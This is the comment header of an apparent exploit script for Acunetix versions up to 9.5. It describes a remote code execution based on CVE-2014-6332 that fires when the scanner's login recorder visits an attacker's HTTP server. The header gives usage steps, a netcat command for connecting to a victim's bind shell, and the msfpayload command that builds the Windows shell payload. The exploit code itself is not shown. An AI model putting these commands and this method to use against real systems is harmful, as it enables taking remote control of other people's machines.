# Acunetix OLE Automation Array Remote Code Execution

#

# Author: Naser Farhadi

# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909

#

# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7

# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record

# Target Login Sequence

# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/

# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And

# Metasploit windows/shell_bind_tcp Executable Payload

# And Finally You Can Connect To Victim Machine Using Netcat

# Usage:

# chmod +x acunetix.py

# ./acunetix.py

# Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix

# nc 192.168.1.7 333

# Payload Generated By This Command: msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe

#
